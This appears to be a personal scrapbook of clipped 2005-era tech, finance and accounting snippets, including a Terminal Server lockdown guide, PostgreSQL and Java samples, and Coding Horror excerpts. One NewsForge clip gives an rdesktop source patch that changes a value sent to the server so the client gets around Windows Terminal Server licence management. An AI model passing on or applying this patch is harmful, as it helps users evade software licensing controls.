Beginners Games Programming: "So you want to be a games programmer? The only thing better than playing games in my opinion is writing them :) Whilst it can be hard work learning to write computer games, it is also incredibly rewarding."

Network effect - Wikipedia, the free encyclopedia: "Thus, Windows is popular because it is well supported, but is well supported because it is popular."

To Diversify or Not to Diversify: Why the Rich Get Richer - Yahoo! Finance: "Two Factors That Justify Diversification

So why do financial advisors recommend diversification when the world's greatest investor chooses not to diversify? I believe there are two answers to this question.

1. Active vs. passive investing. There are active and passive investors. Warren Buffett is an active investor. Most people are not. Active investors should focus. Passive investors should diversify.
2. Risk. Some investments are riskier than others. Stocks, bonds, mutual funds, and real estate investment trusts (REITs) are very risky investments, hence you should diversify if you invest in them. If you invest in businesses, as Warren Buffett does, or real estate, as I do, you should focus."

ZD1211 driver - Ubuntu Forums ZyAir driver: "I Installed the building-essentials, and changed the simmlinks to the good kernel. I will try it with gcc installed
I let you al know"

Customer Care ATI based motherboard amd 64

Customer Care

Drivers are available for the following Linux/Product configurations:

Linux x86

* RADEON 8500 Series and higher
* FireGL Series
* Motherboards with ATI Graphics
* Notebooks with ATI Graphics

Linux x86_64

* RADEON 8500 Series and higher
* FireGL Series
* Motherboard with ATI Graphics
* Notebooks with ATI Graphics

General LINUX and XFree86 Information - For Open Source and Proprietary Drivers

EMediaLive.com: Review: Sony DRU-700A DVD Recorder: "How Green was My Valley?
At the time that this review was written, there were three significant players in DVD+R DL: Verbatim, who makes the media; Sony, who makes the first shipping drive; and Ahead, who supplies the software for that drive. More manufacturers have announced drives, but for now, that's the landscape. "

net use lpt1: \\yourcomputernamehere\yourprinternamehere

net use lpt1 /delete

NewsForge | Rdesktop yields remote possibilities: "Get and extract the rdesktop source. Edit the file license.c and specifically the licence_send_request function.

Change this:

out_uint32_le(s, 1);
out_uint16(s, 0);
----> out_uint16_le(s, 0xff01);

To this:

out_uint32_le(s, 1);
out_uint16(s, 0);
----> out_uint16_le(s, 0x0301);

Build as normal and install. Poof! Goodbye license management problems for Windows Terminal Server... Of course, always insure you have purchased enough licenses to insure compliance *cough* *cough* "

Engage under Ubuntu - Ubuntu Forums: "
add this line to apt sources.list:
deb http://j.portalier.free.fr/debian/ testing main

apt-get update && apt-get install engage.........."

Linux vs Windows (a comparison): "In March 28, 2003, Microsoft decreed that it will not issue a Windows NT4 bug fix for a security problem that effects Windows 2000, XP and NT4. They would prefer customers to move off of NT4, thus making Microsoft more money. It is their ball, their bat and their field. This is not true with an open source operating system such as Linux. No one can decree that a bug will not be fixed in a specific version of Linux. "

A Higher Linux League For Ubuntu?:

"For years, Red Hat and SUSE have dominated the enterprise Linux distribution space. But that duopoly may be in trouble, because the Debian-based GNU/Linux-derived Ubuntu has a little help from Big Blue.

IBM DB2 Lab Software engineers validated Ubuntu as part of the DB2 for Linux Validation program. The distro said it successfully completed the process and now carries the 'Ready for IBM DB2 Software for Linux' mark. This means 'IBM will fully support businesses who choose to run DB2 UDB on Ubuntu, an essential offering for mission-critical databases and applications.'

The IBM certification is the first major certification of its type for Ubuntu, which is sponsored by Canonical.

'With the DB2 certification we can now see that business users will start to look at using Ubuntu for their more critical applications,' Malcolm Yates, alliances and partner manager at Canonical, told internetnews.com."

some postgresql snippet

create type something as (
x int,
y int,
z int
)





create or replace function mibsomething() returns setof something
as
$$
declare
r something%rowtype;
begin

/*
select 7, 8 into r;
return next r;

select 9, 10 into r;
return next r;*/

for r in select 7, 8, 9 union select 9, 10, 11 loop
r.x = r.x + 10;
return next r;
end loop;

end;
$$ language 'PLPGSQL';


select * from mibsomething() as x

If the registry is low on space, errors such as "Error: could not locate INF file" could occur during setup.

To avoid such errors, increase the maximum registry size limit.

Note You must be logged on as administrator to the local computer to change registry size.

QuickBooks Community - Considering Online Edition? Ask pre-purchase questions here!: "Hello: WE run a small trucking operation- 3 trucks. We are planning on starting to use Strategy Live Transport Software
ONLINE for operation control, billing and payroll. They (Strategy Systems Inc) say that We should use Quickbooks along with their
software, for our accounting. QUESTION: Will we be able to use
their Strategy ONLINE along with QuickBooks ONLINE?
Will they be compatible?
If necessary talk to Dave Stevens at Strategy, 479-271-7400.
Thanks in advance,
Bill Guy "

disable task manager

User Key: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\PoliciesSystem]
System Key: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\PoliciesSystem]
Value Name: DisableTaskMgr
Data Type: REG_DWORD (DWORD Value)
Value Data: (0 = default, 1 = disable Task Manager)

Using Group Policy and some scripting to publish a single application to Remote Desktop users.
Introduction

Some users require only a single application. Installing a costly computer for this seems a bit unnecessary knowing that Windows Terminal Services have been available for quite some time.

However, since Windows is designed to deliver a lot of UI components as well as serve multiple applications it requires some work to get this done. With the benefit of Group Policy and some scripting magic, publishing a single application to users is easy.

All of you, planning on implementing complex Group Policy scenarios should download GPMC for Microsoft. It really helps you out when planning and troubleshooting group policy.
Group Policy

My Terminal Server has users which get only one application but also regular users who get a desktop with a few application. To facilitate this I set up one policy, All Users, for all of the users connecting to the Terminal Server, and App1, for users getting the first application.

These are the settings for all the users, as copied from GPMC. What it does is leave a clean UI for users, removing most of the Task Bar and Start Menu. It also hides the terminal server's disk drives, leaving the users access only to their own home directory.

All Users




Computer Configuration (Enabled)
No settings defined.

User Configuration (Enabled)

Windows Settings
Folder Redirection
My Documents
Setting: Basic (Redirect everyone's folder to the same location)
Path: D:\Users\%USERNAME%\My Documents

Options: show

Grant user exclusive rights to My Documents
Disabled
Move the contents of My Documents to the new location Disabled
Policy Removal Behavior Leave contents



Administrative Templates



Control Panel



Policy
Setting
Prohibit access to the Control Panel Enabled
Desktop
Policy
Setting
Do not add shares of recently opened documents to My Network Places Enabled
Don't save settings at exit Enabled
Hide My Network Places icon on desktop Enabled
Prohibit user from changing My Documents path Enabled
Remove My Computer icon on the desktop Enabled



Start Menu and Taskbar



Policy
Setting
Add Logoff to the Start Menu Enabled
Do not display any custom toolbars in the taskbar Disabled
Force classic Start Menu Disabled
Hide the notification area Enabled
Prevent changes to Taskbar and Start Menu Settings Enabled
Remove access to the context menus for the taskbar Enabled
Remove All Programs list from the Start menu Enabled
Remove and prevent access to the Shut Down command Enabled
Remove common program groups from Start Menu Enabled
Remove Documents menu from Start Menu Enabled
Remove Drag-and-drop context menus on the Start Menu Enabled
Remove Favorites menu from Start Menu Enabled
Remove Help menu from Start Menu Enabled
Remove links and access to Windows Update Enabled
Remove My Network Places icon from Start Menu Enabled
Remove Network Connections from Start Menu Enabled
Remove programs on Settings menu Enabled
Remove Run menu from Start Menu Enabled
Remove Search menu from Start Menu Enabled
Remove Set Program Access and Defaults from Start menu Enabled
Remove user's folders from the Start Menu Enabled
Turn off personalized menus Enabled



System/Ctrl+Alt+Del Options



Policy
Setting
Remove Task Manager Enabled



Windows Components/Windows Explorer



Policy
Setting
Hide these specified drives in My Computer Enabled
Pick one of the following combinations
Restrict A, B and C drives only

Policy Setting
Prevent access to drives from My Computer Enabled
Pick one of the following combinations
Restrict A, B and C drives only

Policy Setting
Remove Windows Explorer's default context menu Enabled
Removes the Folder Options menu item from the Tools menu Disabled



Windows Components/Windows Explorer/Common Open File Dialog



Policy
Setting
Items displayed in Places Bar Enabled
Places to display:
Item 1 MyDocuments
Item 2
Item 3
Item 4
Item 5


The second group policy handles the publishing of the application.


App1


Computer Configuration (Enabled)
No settings defined.



User Configuration (Enabled)




Windows Settings

Scripts
Logon
Name
Parameters
D:\Netlogon\app1.vbs



Administrative Templates



Desktop


Policy
Setting
Hide and disable all items on the desktop Enabled


Start Menu and Taskbar


Policy
Setting
Turn off personalized menus Enabled

As you can see the group policy does not do much except clean the desktop and run a login script.
Scripting Magic

The following script runs an application and logs you off when the application closes. It also deletes a few pesky icons if they appear on the start menu.

The script enumerates all the running instances of app.exe if none of those instances belongs to the logged on user it logs off the session. If the WMI syntax looks complex, don't worry. All you have to do to use this script is change the application path and the application name.

On Error Resume Next
Set fs = CreateObject ("Scripting.FileSystemObject")
Set WshShell = WScript.CreateObject ("WScript.Shell")

'Get the username and profile directory
MUser = WshShell.ExpandEnvironmentStrings ("%USERNAME%")
MUserProfile = wshShell.ExpandEnvironmentStrings("%USERPROFILE%")

'Delete icons
fs.DeleteFolder MUserProfile & "\Start Menu\Programs\Accessories",True
fs.DeleteFile MUserProfile & "\Start Menu\Programs\*.lnk"

'Run the app

wshShell.Run "c:\myapp\app.exe"

' Connect to wmi
set objWMIService = GetObject("winmgmts:root\cimv2")
Do
found = false
' List the processes
strQuery = "Select * from win32_process where name='app.exe'"
set colProcesses = objWMIService.ExecQuery(strQuery)

for each proc in colProcesses

' Get the reference class linking processes to sessions to get the session object path
strQuery = "References of {win32_process.handle='" & proc.handle & "'} where ResultClass=Win32_SessionProcess"
set colSessionReferences = objWMIService.ExecQuery(strQuery)

for each oSessionReference in colSessionReferences
'Get associators of the session object that are user accounts (linked by win32_loggedonuser)
strQuery = "Associators of {" & oSessionReference.antecedent & "} where AssocClass=win32_LoggedOnUser"
set colUsers = objWMIService.ExecQuery(strQuery,,48)
for each user in colUsers
if user.name = MUser then found = true
next
next
next
Loop While found = true

'Run the Windows 2003 logoff utility
wshShell.Run "c:\windows\system32\logoff.exe"

Using Windows Terminal Services to Run a Single Application

Using Group Policy and some scripting to publish a single application to Remote Desktop users.

Introduction

Some users require only a single application. Installing a costly computer for this seems a bit unnecessary knowing that Windows Terminal Services have been available for quite some time.

However, since Windows is designed to deliver a lot of UI components as well as serve multiple applications it requires some work to get this done. With the benefit of Group Policy and some scripting magic, publishing a single application to users is easy.

All of you, planning on implementing complex Group Policy scenarios should download GPMC for Microsoft. It really helps you out when planning and troubleshooting group policy.

Group Policy

My Terminal Server has users which get only one application but also regular users who get a desktop with a few application. To facilitate this I set up one policy, All Users, for all of the users connecting to the Terminal Server, and App1, for users getting the first application.

These are the settings for all the users, as copied from GPMC. What it does is leave a clean UI for users, removing most of the Task Bar and Start Menu. It also hides the terminal server's disk drives, leaving the users access only to their own home directory.

All Users

Computer Configuration (Enabled)
No settings defined.

User Configuration (Enabled)

Windows Settings
Folder Redirection
My Documents
Setting: Basic (Redirect everyone's folder to the same location)
Path: D:\Users\%USERNAME%\My Documents

Options: show

Grant user exclusive rights to My Documents	Disabled
Move the contents of My Documents to the new location	Disabled
Policy Removal Behavior	Leave contents
Administrative Templates
Control Panel
Policy	Setting
Prohibit access to the Control Panel	Enabled
Desktop
Policy	Setting
Do not add shares of recently opened documents to My Network Places	Enabled
Don't save settings at exit	Enabled
Hide My Network Places icon on desktop	Enabled
Prohibit user from changing My Documents path	Enabled
Remove My Computer icon on the desktop	Enabled
Start Menu and Taskbar
Policy	Setting
Add Logoff to the Start Menu	Enabled
Do not display any custom toolbars in the taskbar	Disabled
Force classic Start Menu	Disabled
Hide the notification area	Enabled
Prevent changes to Taskbar and Start Menu Settings	Enabled
Remove access to the context menus for the taskbar	Enabled
Remove All Programs list from the Start menu	Enabled
Remove and prevent access to the Shut Down command	Enabled
Remove common program groups from Start Menu	Enabled
Remove Documents menu from Start Menu	Enabled
Remove Drag-and-drop context menus on the Start Menu	Enabled
Remove Favorites menu from Start Menu	Enabled
Remove Help menu from Start Menu	Enabled
Remove links and access to Windows Update	Enabled
Remove My Network Places icon from Start Menu	Enabled
Remove Network Connections from Start Menu	Enabled
Remove programs on Settings menu	Enabled
Remove Run menu from Start Menu	Enabled
Remove Search menu from Start Menu	Enabled
Remove Set Program Access and Defaults from Start menu	Enabled
Remove user's folders from the Start Menu	Enabled
Turn off personalized menus	Enabled
System/Ctrl+Alt+Del Options
Policy	Setting
Remove Task Manager	Enabled
Windows Components/Windows Explorer
Policy	Setting
Hide these specified drives in My Computer	Enabled
Pick one of the following combinations	Restrict A, B and C drives only
Policy	Setting
Prevent access to drives from My Computer	Enabled
Pick one of the following combinations	Restrict A, B and C drives only
Policy	Setting
Remove Windows Explorer's default context menu	Enabled
Removes the Folder Options menu item from the Tools menu	Disabled
Windows Components/Windows Explorer/Common Open File Dialog
Policy	Setting
Items displayed in Places Bar	Enabled
Places to display:
Item 1	MyDocuments
Item 2
Item 3
Item 4
Item 5
The second group policy handles the publishing of the application.
App1
Computer Configuration (Enabled)
No settings defined.
User Configuration (Enabled)
Windows Settings
Scripts
Logon
Name	Parameters
D:\Netlogon\app1.vbs
Administrative Templates
Desktop
Policy	Setting
Hide and disable all items on the desktop	Enabled
Start Menu and Taskbar
Policy	Setting
Turn off personalized menus	Enabled

As you can see the group policy does not do much except clean the desktop and run a login script.

Scripting Magic

The following script runs an application and logs you off when the application closes. It also deletes a few pesky icons if they appear on the start menu.

The script enumerates all the running instances of app.exe if none of those instances belongs to the logged on user it logs off the session. If the WMI syntax looks complex, don't worry. All you have to do to use this script is change the application path and the application name.

On Error Resume Next
Set fs = CreateObject ("Scripting.FileSystemObject")
Set WshShell = WScript.CreateObject ("WScript.Shell")

'Get the username and profile directory
MUser = WshShell.ExpandEnvironmentStrings ("%USERNAME%")
MUserProfile = wshShell.ExpandEnvironmentStrings("%USERPROFILE%")

'Delete icons
fs.DeleteFolder MUserProfile & "\Start Menu\Programs\Accessories",True
fs.DeleteFile MUserProfile & "\Start Menu\Programs\*.lnk"

'Run the app

wshShell.Run "c:\myapp\app.exe"

' Connect to wmi
set objWMIService = GetObject("winmgmts:root\cimv2")
Do
found = false
' List the processes
strQuery = "Select * from win32_process where name='app.exe'"
set colProcesses = objWMIService.ExecQuery(strQuery)

for each proc in colProcesses

' Get the reference class linking processes to sessions to get the session object path
strQuery = "References of {win32_process.handle='" & proc.handle & "'} where ResultClass=Win32_SessionProcess"
set colSessionReferences = objWMIService.ExecQuery(strQuery)

for each oSessionReference in colSessionReferences
'Get associators of the session object that are user accounts (linked by win32_loggedonuser)
strQuery = "Associators of {" & oSessionReference.antecedent & "} where AssocClass=win32_LoggedOnUser"
set colUsers = objWMIService.ExecQuery(strQuery,,48)
for each user in colUsers
if user.name = MUser then found = true
next
next
next
Loop While found = true

'Run the Windows 2003 logoff utility
wshShell.Run "c:\windows\system32\logoff.exe"

Clipper Processor hogging on Windows NT and 2000

: : :
: : : The most common printing problem in a network environment is that
: : : _nothing_ reaches the printer until the application is terminated or
: : : the spooler times out, whichever comes first. This problem is solved
: : : by opening the port before printing and closing it afterwards.

: : : set printer to lpt1: // or whatever port is used
: : : set device to printer
: : : DoThePrinting()
: : : eject
: : : set device to screen
: : : set printer to // this is where the port is closed

: : : The first line is as important as the last one, otherwise the Clipper
: : : runtine won't know which port to close at the end.

: : : Another speed related thing to consider is that Clipper hogs the
: : : processor up to almost 100% even when the application is idle, and
: : : that causes _other_ applications to slow down considerably. I mention
: : : this since it is something you don't notice if you are only running
: : : one application at a time and your problem description fits this
: : : condition too.

: : : One way to reduce the hogging is to use FT_IAmIdle() from the Nanforum
: : : Toolkit. Instructions, the latest patch for that function and download
: : : links for the whole lib are available here:
: : : http://home.swipnet.se/engw/clipper/nfpat1a.htm

If your eyes follow the movement of the rotating pink dot, you will only see one color, pink. If you stare at the black + in the center, the moving dot turns to green. Now, concentrate on the black + in the center of the picture. After a short period of time, all the pink dots will slowly disappear, and you will only see a green dot rotating if you're lucky! It's amazing how our brain works. There really is no green dot, and the pink ones really don't disappear. This should be proof enough, we don't always see what we think we see.

Coding Horror: August 2005 Archives: "Journalists have long adhered to the inverse approach: start the article by telling the reader the conclusion ('After long debate, the Assembly voted to increase state taxes by 10 percent'), follow by the most important supporting information, and end by giving the background. This style is known as the inverted pyramid for the simple reason that it turns the traditional pyramid style around. Inverted-pyramid writing is useful for newspapers because readers can stop at any time and will still get the most important parts of the article."

FAQ Question: "Computerized accounting systems almost always produce a trial balance as a built-in report. Many software packages will not allow you to post an entry to the general ledger until the debit and credit balances are equal."

Alliance for Nonprofit Management › Frequently Asked Questions › Financial Management › FAQ Question

Frequently Asked Questions

Question

What are the elements of an accounting system?

Answer

An accounting system is comprised of accounting records (checkbooks, journals, ledgers, etc.) and a series of processes and procedures assigned to staff, volunteers, and/or outside professionals. The goals of the accounting system are to ensure that financial data and economic transactions are properly entered into the accounting records and that financial reports necessary for management are prepared accurately and in a timely fashion.

Components of an Accounting System

Traditionally, the accounting system includes the following components:

Chart of Accounts

The chart of accounts is a list of each item which the accounting system tracks. Accounts are divided into five categories:
Assets, Liabilities, Net Assets or Fund Balances, Revenues, and Expenses. Each account is assigned an identifying number for use within the accounting system. (See Financial Management FAQ 6: What Should Our Chart of Accounts Include? for information on designing the chart of accounts and using it for reporting.)

General Ledger

The general ledger organizes information by account. The chart of accounts acts as the table of contents to the general ledger. In a manual system, summary totals from all of the journals are entered into the general ledger each month, which maintains a year-to-date balance for each account.

In a computerized system, data is typically entered into the system only once. Once the entry has been approved by the user, the software includes the information in all reports in which the relevant account number appears. Many software packages allow the user to produce a general ledger which shows each transaction included in the balance of each account. For example:

Acct. No. 5105 Account Name: Office Supplies
Beginning Balance @ April 30: $1,535.26
Ck. No. 1443 John's Office Supplies 5/12 $347.40
Ck. No. 1451 Quality Paper Store 5/17 $32.89
Closing Balance @ May 31: $1,915.55

Journals and Subsidiary Journals

Journals, also called books of original entry, are used to systematically record all accounting transactions before they are entered into the general ledger. Journals organize information chronologically and by transaction type (receipts, disbursements, other). There are three primary journals:

• The Cash Disbursement Journal is a chronological record of checks that are written, categorized using the chart of accounts.
  
  
• The Cash Receipts Journal is a chronological record of all deposits that are made, categorized using the chart of accounts.
  
  
• The General Journal is a record of all transactions which do not pass through the checkbook, including non-cash transactions (such as accrual entries and depreciation) and corrections to previous journal entries.
  

As organizations mature, and handle greater numbers of financial transactions, they may develop subsidiary journals to break out certain kinds of activity from the primary journals noted above. The most common examples of subsidiary journals include:

• The Payroll Journal, which records all payroll-related transactions. This may be useful as the number of payroll transaction s grows and becomes too large to handle reasonably within the cash disbursements journal.
  
  
• The Accounts Payable Journal and Accounts Receivable Journal track income and expense accruals. These are useful for grouping income and/or expense accruals which are too numerous to track effectively through the general journal. Some accounting packages require you to set up all bills as accounts payable and all revenue as accounts receivable, eliminating the cash disbursements and receipts journals altogether.
  
  

The process of transferring information from the journals to the general ledger is called posting. Computerized accounting systems often require users to post all income and expense transactions through the accounts receivable and payable journals. Other automated systems allow users to post to cash disbursements or receipts journals, but cannot produce detailed financial information from these journals (such as a list of checks written presented in numerical order.) See Financial Management FAQ 9: What Accounting Software Package Should We Buy? for further information.

Checkbook

In very small organizations, the checkbook may serve as a combined ledger and journal. Most financial transactions will pass through the checkbook, where receipts are deposited and from which disbursements are made. Smaller organizations receiving few or no restricted contributions find it easier to keep track of financial activity by running all of their financial transactions through a single checking account. Very small organizations, with few deposits and disbursements, may prepare reports directly from the checkbook after the balance has been reconciled with the bank balance.

Accounting Procedures Manual

The accounting procedures manual is a record of the policies and procedures for handling financial transactions. The manual can be a simple description of how financial functions are handled (e.g., paying bills, depositing cash and transferring money between funds) and who is responsible for what. The accounting procedures manual is also useful when there is a changeover in financial management staff. See Financial Management FAQ 24: What is an Internal Accounting Control System and How Can We Make Ours Effective? for further ideas of what to consider as part of an accounting procedures manual.

The Accounting Cycle

The accounting cycle may be represented schematically as follows:

financial transactions -> analyze transaction -> record transaction in journals -> post journal information to general ledger -> analyze general ledger account and make corrections -> prepare financial statements from general ledger information

The routine aspects of the accounting cycle (recording transactions, posting, etc.) are generally done by bookkeepers or data entry clerks. Accountants focus on the more analytical aspects of the accounting cycle (analyzing transactions, preparing financial statements.) Many small organizations rely on a single individual to perform all of these functions.

Maintaining the Integrity of an Accounting System

The key tasks for maintaining the integrity of an accounting system include the following:

Trial Balance

In a manual system all balances from the general ledger are tallied on a monthly basis to make sure that debit balances equal credit balances. Once debits equal credits, financial statements can be prepared using trial balance amounts. Computerized accounting systems almost always produce a trial balance as a built-in report. Many software packages will not allow you to post an entry to the general ledger until the debit and credit balances are equal.

Bank Reconciliation

Each month you will need to reconcile the balance in your checkbook with the balance in your account according to your bank. This process has three basic steps:

1. Compare deposits and checks as they are recorded in the checkbook with those reflected in the bank statement. Adjust any discrepancies.
   
2. Adjust for bank charges or interest earned into the checkbook balance.
   
3. Subtract uncashed checks from the bank s balance and add in checks you have deposited which are not yet reflected in the bank's balance.
   

See Financial Management FAQ 21: What Internal Controls are Needed for Cash Disbursements?, FAQ 23: What Internal Controls are Needed for Payroll?, and FAQ 24: What is an Internal Accounting Control System and How Can We Make Ours Effective? for additional information about policies and procedures which will help you maintain the integrity of information entered into the accounting system.

Stages in the Development of an Accounting System

Your accounting system will change as your organization's needs and resources change. A new, small organization may only need to keep an accurate record of activity in its checkbook. As the number of transactions grows, that organization will add manual cash disbursements and receipts journals, but may still prepare monthly reports using a summary sheet of income and expense items. Finally, as the organization acquires assets other than cash, accruals are added, and transactions become more complex, a full general ledger system will need to be incorporated.

As their volume and complexity grow, the financial management activities will also require increasingly sophisticated staffing, whether by paid or volunteer staff or a combination of staff and outside service providers. An accounting system is only as good as the staff's ability to put it into practice, and should be designed with its users in mind.

.NET Compiler Performance

After working with VB6 and "classic" ASP for so long, I got spoiled with effectively nonexistent compile times. Part of that, of course, is due to how old the environments are-- or were. I remember using VB5 shortly after its release on Pentium 1 class hardware, and it wasn't what I would call 'fast' either.

If you're curious, as I was, about which of the current CPU generation is fastest at VS.NET compilation, check out this page at Xbit Labs. Very interesting. It's quite rare for a CPU roundup to perform any benchmarks related to development.

It's technically a C++ eMule client compiled using the latest VS.NET -- so probably not managed code, but I assume the results would be similar to a large, managed C# or VB.NET project.

The Athlon 64 is absolutely mopping the floor with everything else. I think L2 cache is clearly a factor-- look at the results of the P4 extreme edition with 2mb L2 cache -- but the on-die memory controller must be what gives it the runaway victory. It certainly can't be clock speed, since the Athlon 64 runs at ~ 2ghz.

The other interesting thing to consider, is that the fastest CPU compiles debug releases almost twice as fast as the the "slowest" CPU. And in this case "slowest" is a Pentium 4 3.0ghz, which isn't exactly chopped liver... depending on how much you compile, and how much your time is worth, an Athlon 64 upgrade could pay for itself in no time. Something to consider.

The Accounting System

Before you can set up your accounting records, dive into your day-to-day transactions, and get your books ready for end-of-month or end-of-year reporting, you must gain an understanding of basic accounting concepts. Accounting is the method in which financial information is gathered, processed, and summarized into financial statements and reports. An accounting system can be represented by the following graphic, which is explained below. 1. Business Transaction(source document) --> 2. Journal Entry --> 3. General Ledger --> 4. Trial Balance --> 5. Financial Statements (balance sheet) Every accounting entry is based on a business transaction, which is usually evidenced by a business document, such as a check or a sales invoice. A journal is a place to record the transactions of a business. The typical journals used to record the chronological, day-to-day transactions are sales and cash receipts journals and a cash disbursements journal. A general journal is used to record special entries at the end of an accounting period. While a journal records transactions as they happen, a ledger groups transactions according to their type, based on the accounts they affect. The general ledger is a collection of all balance sheet, income, and expense accounts used to keep a business's accounting records. At the end of an accounting period, all journal entries are summarized and transferred to the general ledger accounts. This procedure is called "posting." A trial balance is prepared at the end of an accounting period by adding up all the account balances in your general ledger. The sum of the debit balances should equal the sum of the credit balances. If total debits don't equal total credits, you must track down the errors. Finally, financial statements are prepared from the information in your trial balance. Your accounting records are important because the resulting financial statements and reports help you plan and make decisions. They may be used by some third parties (bankers, investors, or creditors) and are needed to provide information to government agencies, such as the Internal Revenue Service. For a more in-depth explanation of the accounting system, take a look at the following: accounting basics definitions of accounting terms cash vs. accrual accounting who can use the cash method? single- or double-entry accounting

The Accounting System

Before you can set up your accounting records, dive into your day-to-day transactions, and get your books ready for end-of-month or end-of-year reporting, you must gain an understanding of basic accounting concepts.

Accounting is the method in which financial information is gathered, processed, and summarized into financial statements and reports. An accounting system can be represented by the following graphic, which is explained below.

1. Every accounting entry is based on a business transaction, which is usually evidenced by a business document, such as a check or a sales invoice.
2. A journal is a place to record the transactions of a business. The typical journals used to record the chronological, day-to-day transactions are sales and cash receipts journals and a cash disbursements journal. A general journal is used to record special entries at the end of an accounting period.
3. While a journal records transactions as they happen, a ledger groups transactions according to their type, based on the accounts they affect. The general ledger is a collection of all balance sheet, income, and expense accounts used to keep a business's accounting records. At the end of an accounting period, all journal entries are summarized and transferred to the general ledger accounts. This procedure is called "posting."
4. A trial balance is prepared at the end of an accounting period by adding up all the account balances in your general ledger. The sum of the debit balances should equal the sum of the credit balances. If total debits don't equal total credits, you must track down the errors.
5. Finally, financial statements are prepared from the information in your trial balance.

Your accounting records are important because the resulting financial statements and reports help you plan and make decisions. They may be used by some third parties (bankers, investors, or creditors) and are needed to provide information to government agencies, such as the Internal Revenue Service.

For a more in-depth explanation of the accounting system, take a look at the following:

* accounting basics
* definitions of accounting terms
* cash vs. accrual accounting
* who can use the cash method?
* single- or double-entry accounting

PostgreSQL on Mac OS X

PostgreSQL on Mac OS X:

import java.sql.*;
import java.text.*;
import java.io.*;

public class PgTest
{
Connection db; // connection object
Statement sql; // statement to run queries with

// the constructor does all the work in this simple example

public PgTest(String argv[])
throws ClassNotFoundException, SQLException
{
String database = argv[0];
String username = argv[1];
String password = argv[2];

// load the JDBC driver for PostgreSQL
Class.forName("org.postgresql.Driver");

// connect to the datbase server over TCP/IP
// (requires that you edit pg_hba.conf
// as shown in the "Authentication" section of this article)
db = DriverManager.getConnection("jdbc:postgresql:"+database,
username,
password);

// create a statement for later use
sql = db.createStatement();

String theQuery = "select name from foo order by foo_id";
System.out.println("Now executing query: \""+ theQuery + "\"\n");

ResultSet results = sql.executeQuery(theQuery);
if (results != null)
{
while (results.next())
{
System.out.println("Name: "+results.getString("name")+"\n");
}
}
else
{
System.out.println("No rows found");
}
results.close();

db.close();
}

public static void showUsage()
{
System.out.println("\nUsage:\n "+
"java PgTest \n");
System.exit(1);
}

public static void main (String args[])
{
if (args.length != 3) showUsage();
try
{
PgTest showMe = new PgTest(args);
}
catch (Exception ex)
{
System.out.println("Caught Exception:\n"+ex);
ex.printStackTrace();
}
}
}

Backup FireFox - The Extensions Mirror: "This topic has appeared several times recently. For one check:

http://www.extensionsmirror.nl/index.php?showtopic=2449&hl=

Below is a cut an paste of my post in that thread:

Check this Mozillazine Forum Topic on backing up extensions, which is really backing up your profile.

http://forums.mozillazine.org/viewtopic.ph...3023&highlight=

My own response to that topic I will cut and paste here:

I back up my profile periodically with a simple batch file (BAKUP.BAT):

cls
del d:\zipfils\firefoxbak.zip
wzzip -p -r d:\zipfils\firefoxbak.zip

I put this batch file in the profile directory (for windows 98 SE):

C:\windows\Application Data\Mozilla\Firefox

When I want to backup my profile and all my extensions, I open Firefox and clear History/Cache/Cookies and then exit. Open explorer or DOS box in the profile directory and execute the batch file which copies all files in all the sub directories. To restore a profile, unzip the files back into the profile folder. Note 'wzzip' is the command line version of Winzip. The freeware program 7zip may also be used (with a slightly different command syntax). I store my zip files in the folder: D:\zipfils. This could be changed at the user's preference.

The reason I clear the cache/history/cookies etc. is to minimize the size of the zip file - which is about 17 MB for my profile. You can also use this zipfile for transporting your profile and extensions to another computer. Install Firefox and then unzip the files into the corresponding profile directory on the new computer.

I haven't had any glitches with this so far but it might also be better to delete the folders and files in the profile directory before unzipping backup profile. I have just been copying the files over the existing files.

Just remember to back up the profile after making some changes in the profile such as adding extensions. Note that the backed up profile is removed before creating a"

Coding Horror: Gigabit Ethernet and Back of the Envelope Calculations: "A good rule of thumb for real-world throughput is:

* 10baseT = 1 megabyte/sec
* 100baseT = 10 megabytes/sec
* 1000baseT = 30 megabytes/sec"

Coding Horror: Gigabit Ethernet and Back of the Envelope Calculations: "But even before that, I started with a loopback test:

C:\Program Files\ttcp>pcattcp -t -f M localhost

PCAUSA Test TCP Utility V2.01.01.08
TCP Transmit Test
Transmit : TCP -> 127.0.0.1:5001
Buffer Size : 8192; Alignment: 16384/0
TCP_NODELAY : DISABLED (0)
Connect : Connected to 127.0.0.1:5001
Send Mode : Send Pattern; Number of Buffers: 2048
Statistics : TCP -> 127.0.0.1:5001
16777216 bytes in 0.17 real seconds = 93.02 MB/sec +++
numCalls: 2048; msec/call: 0.09; calls/sec: 11906.98"

Coding Horror: Why estimate when you can measure?: "I don't really read slashdot, but someone forwarded this post to me, and I had to laugh. Pointing out the direct relationship between power consumption and noise is accurate enough, but.. 450 watts? I don't think you can realistically build a desktop computer that uses 450 watts!

Kill-a-watt meter We don't need back of the envelope estimates to show how ridiculous that figure actually is. We can just measure the power usage with our trusty $30 Kill-a-watt watt meter.

For my work PC, which currently contains the following items:

* Athlon X2 4800+
* GeForce 6600 video
* Maxtor 300gb SATA HDD
* GeForce 5200 PCI video (for 3rd display)
* 2gb PC3200 DDR RAM
* generic DVD-ROM

The Kill-a-Watt tells me I'm pulling this much power from the wall socket:

Idle windows desktop 118w
Defragmenting hard drive 122w
1 instance of Prime95 147w
2 instances of Prime95 (affinity set) 177w
Battlefield 2 demo 172w

Now, that's power draw at the wall socket. About 25 percent of this energy is lost in the power supply as it converts from wall power to something the PC can use. So the actual peak power usage of my work PC is around 132 watts. And that's a fairly beefy PC, probably unrepresentative of the vast majority of current desktops.

It's amazing how much you can infer from such simple, basic data collection:

* Each 'core' of the X2 4800+ consumes 30 watts
* The GeForce 6600 video card consumes 25 watts
* The 300gb SATA hard drive consumes 4 watts

We could go a lot farther, but the whole point is that we don't have to. As estimates go, these are backed by supporting data. And that's a lot more useful than the unsubstantiated wild guessing of random Slashdot posters.

Even outside Slashdot there are still plenty of people who will swear up and down that you absolutely must use a 500+ watt power supply for a new high-end computer. Why spread guesstimated misinf"

eBay: RETIRE in 3 YEARS!!!! NO MORE FINANCIAL MYTHS e Book (item 5635269212 end time Nov-18-05 18:52:22 PST): "# Buying something is always better than renting.
# It is ok to borrow from your IRA when you need emergency cash.
# Buy life insurance for every member of your family.
# You always have to be conservative when investing for your retirement.
# Women are better off as housewives.
# Spread your debt balance on lots of credit cards.
# Dont try to handle to your own financial affairs.Just leave it to the experts.
